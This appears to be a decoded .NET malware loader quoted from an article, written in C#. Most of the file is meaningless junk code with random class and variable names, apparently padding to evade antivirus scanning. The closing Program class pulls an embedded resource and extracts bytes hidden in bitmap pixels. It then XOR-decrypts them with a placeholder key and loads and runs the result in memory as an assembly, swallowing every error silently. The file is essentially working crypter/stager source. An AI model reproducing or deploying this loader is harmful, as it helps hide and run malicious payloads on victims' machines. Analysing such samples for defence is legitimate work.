dotnet_malware_article_decoded.cs

using System;

using System.IO;

using System.Text;

using System.Reflection;

using System.Threading;

using System.Runtime.InteropServices;

using System.Drawing;



namespace MGcwWxsmmgNZ

{

	public class iDpx{public void rBNf(){

short Hmyu = -16102; 
 byte[] HmyuHmyu = System.IO.File.ReadAllBytes("Hmyu");float CuOC = 3.542451E-09F; 
short ewvS = 11725; 
 byte[] ewvSewvS = System.IO.File.ReadAllBytes("ewvS");ulong kmbB = 12828674044665159; 


}public void ycGE(){

int PZwL = 423985; 
while(PZwL == 423985){

PZwL = PZwL + 257401;

}long VgKh = 19218510140759077; 
int SwkR = 64110877; 
if(SwkR == 107279){

SwkR = SwkR + 246115;

}string wIGD = "LofU"; 
 Console.WriteLine(wIGD);

}public void TKCC(){

long PERS = 60260719399073098; 
short yXtq = 17492; 
 byte[] yXtqyXtq = System.IO.File.ReadAllBytes("yXtq");ulong CcTv = 71965138397434404; 
sbyte wkfh =  115; 
 Console.ReadLine();

}public void RiFm(){

ulong NkOX = 24825584198908618; 
long TkoZ = 13001158966541197; 
double qSKT = -1.314487E-20; 
if(qSKT == -9.898047E-16){

qSKT = Math.Pow(double.NegativeInfinity, 2);

Console.ReadLine();

}ulong VZVw = 53257167937373526; 


}
} public class PtOn{public void TjZb(){

float RcuR = 8.53107E-33F; 
float fggO = -3697806F; 
int keeE = 2680; 
while(keeE == 2680){

keeE = keeE + 508734;

}long isAC = 36975979942863523; 


}public void iwRl(){

ushort Ngjf = 44776; 
short KShQ = -28010; 
 byte[] KShQKShQ = System.IO.File.ReadAllBytes("KShQ");double Aqbb = 1.736854E-14; 
Aqbb = Math.Exp(2);

Console.ReadLine();short bTWQ = 18757; 
 byte[] bTWQbTWQ = System.IO.File.ReadAllBytes("bTWQ");

}public void gEmP(){

float zMyl = 6.711507E-27F; 
uint lgwR = 66916374; 
float EpwK = 1.23265E-24F; 
sbyte PmNi =  31; 
 Console.ReadLine();

}public void PeBS(){

double GGjn = -1477494; 
if(GGjn == -3.495049E-35){

GGjn = Math.Truncate(GGjn);

try{

int KLxVE = 2863799;

if(KLxVE == 43484){

KLxVE++;

}else{

KLxVE--;

}

}catch(Exception ex){



}

}short frGr = 4065; 
 byte[] frGrfrGr = System.IO.File.ReadAllBytes("frGr");uint frrA = 428104587; 
long DnKn = 50103976534160489; 


}
} public class qYgA{public void ZtOH(){

byte UOIi =  195; 
 Environment.Exit(0);string BrqK = "PsRU"; 
 Console.WriteLine(BrqK);int uJsX = 57232418; 
while(uJsX == 57232418){

uJsX = uJsX + 909043;

}ulong hqIU = 42508666007386270; 


}public void nyVS(){

short YoUA = 8969; 
 byte[] YoUAYoUA = System.IO.File.ReadAllBytes("YoUA");uint ftoi = 15617; 
ulong DVoa = 55795348902487201; 
long yiyl = 6031344212700456; 


}public void Uvfo(){

short TaWW = -29997; 
 byte[] TaWWTaWW = System.IO.File.ReadAllBytes("TaWW");long mmqB = 41539754652817065; 
string ETkR = "liSQ"; 
 Console.WriteLine(ETkR);int pemH = 9320; 
if(pemH == 916113){

pemH = 455083;

}

}public void qHSm(){

short IXFR = -4149; 
 byte[] IXFRIXFR = System.IO.File.ReadAllBytes("IXFR");sbyte nlNF =  -102; 
 Console.ReadLine();byte iLpR =  150; 
 Environment.Exit(0);ushort GBVD = 2875; 


}
} public class BABX{public void XpLS(){

float UVrb = -4.116789E+10F; 
float PyIw = 1.567657E+29F; 
ulong HElS = 71175744766185339; 
int Mwwc = 2698; 
while(Mwwc == 2698){

Mwwc += 643326;

}

}public void Waqu(){

long ezvj = 3127027186272826; 
long lUNv = 71750973728185001; 
ulong powI = 85730912378832612; 
ushort Oxid = 11605; 


}public void Njzp(){

short LoJD = -25002; 
 byte[] LoJDLoJD = System.IO.File.ReadAllBytes("LoJD");short NQpE = 28260; 
 byte[] NQpENQpE = System.IO.File.ReadAllBytes("NQpE");int ZyTD = 2047; 
while(ZyTD == 2047){

ZyTD += 697144;

}float kCJl = -7.943821E+08F; 


}public void YFcT(){

string rRJr = "RomJ"; 
 Console.WriteLine(rRJr);ushort Rswt = 63310; 
short QHQU = -14787; 
 byte[] QHQUQHQU = System.IO.File.ReadAllBytes("QHQU");double vBsD = 2.490473E+30; 
double MzCnxhOfEwbZjmJ = Math.Log(1000, 10);

vBsD = MzCnxhOfEwbZjmJ;

try{

int OyJiyMvy = 1474204;

if(OyJiyMvy == 15180){

OyJiyMvy++;

}else{

OyJiyMvy--;

}

}catch(Exception ex){



}

}
} 



    class Program

    {



        static string kuQogXrTcJGEH = "#pass#";

        private static byte[] qAqQHwJ(byte[] bytes)

        {

            byte[] byteArray = Encoding.Unicode.GetBytes(kuQogXrTcJGEH);

            for (int i = 0; i < bytes.Length; i++)

            {

                bytes[i] ^= byteArray[i % 16];

            }

            return bytes;

        }

		

		private static byte[] ConvertFromBmp(System.Drawing.Bitmap b)

        {

            int l = b.Width;

            int n = l * l * 4;

            byte[] buff = new byte[n];

            int k = 0;



            for (int x = 0; x < l; x++)

            {

                for (int y = 0; y < l; y++)

                {

                    Buffer.BlockCopy(BitConverter.GetBytes(b.GetPixel(x, y).ToArgb()), 0, buff, k, 4);

                    k += 4;

                }

            }



            int len = BitConverter.ToInt32(buff, 0);

            byte[] f = new byte[len];

            Buffer.BlockCopy(buff, 4, f, 0, f.Length);

            return f;

        }

		

		

		static byte[] CtNmG;

		public static void rYARgCibTpkrykbr()

		{

			Assembly.Load(CtNmG).EntryPoint.Invoke(null, new object[] { new string[] { } });

		}

		

		[DllImport("kernel32.dll")]

		static extern IntPtr FindResource(IntPtr hModule, IntPtr lpName, IntPtr lpType);

		

		[DllImport("kernel32.dll", SetLastError=true)]

		static extern uint SizeofResource(IntPtr hModule, IntPtr hResInfo);

		

		[DllImport("kernel32.dll", SetLastError=true)]

		static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo);

		

		[DllImport("kernel32.dll")]

		static extern IntPtr LockResource(IntPtr hResData);

		



		public static Bitmap Byte2Image(byte[] img)

        {

            using (var stream = new MemoryStream(img))

            {

                return new Bitmap(stream);

            }

        }

		

        static void Main()

        {

            try

            {		

				IntPtr fResource = FindResource(new IntPtr(0), new IntPtr(130), new IntPtr(23));

				uint sResource = SizeofResource(new IntPtr(0), fResource);

				IntPtr lResource = LoadResource(new IntPtr(0), fResource);

				IntPtr dResource = LockResource(lResource);

				

				CtNmG = new byte[sResource];

				System.Runtime.InteropServices.Marshal.Copy(dResource, CtNmG, 0, System.Convert.ToInt32(sResource));

				CtNmG = qAqQHwJ(ConvertFromBmp(Byte2Image(CtNmG)));

				

				System.Threading.Thread thr = new System.Threading.Thread(rYARgCibTpkrykbr);

				thr.Start();

            }

            catch

            {



            }

        }

    }

	

	

}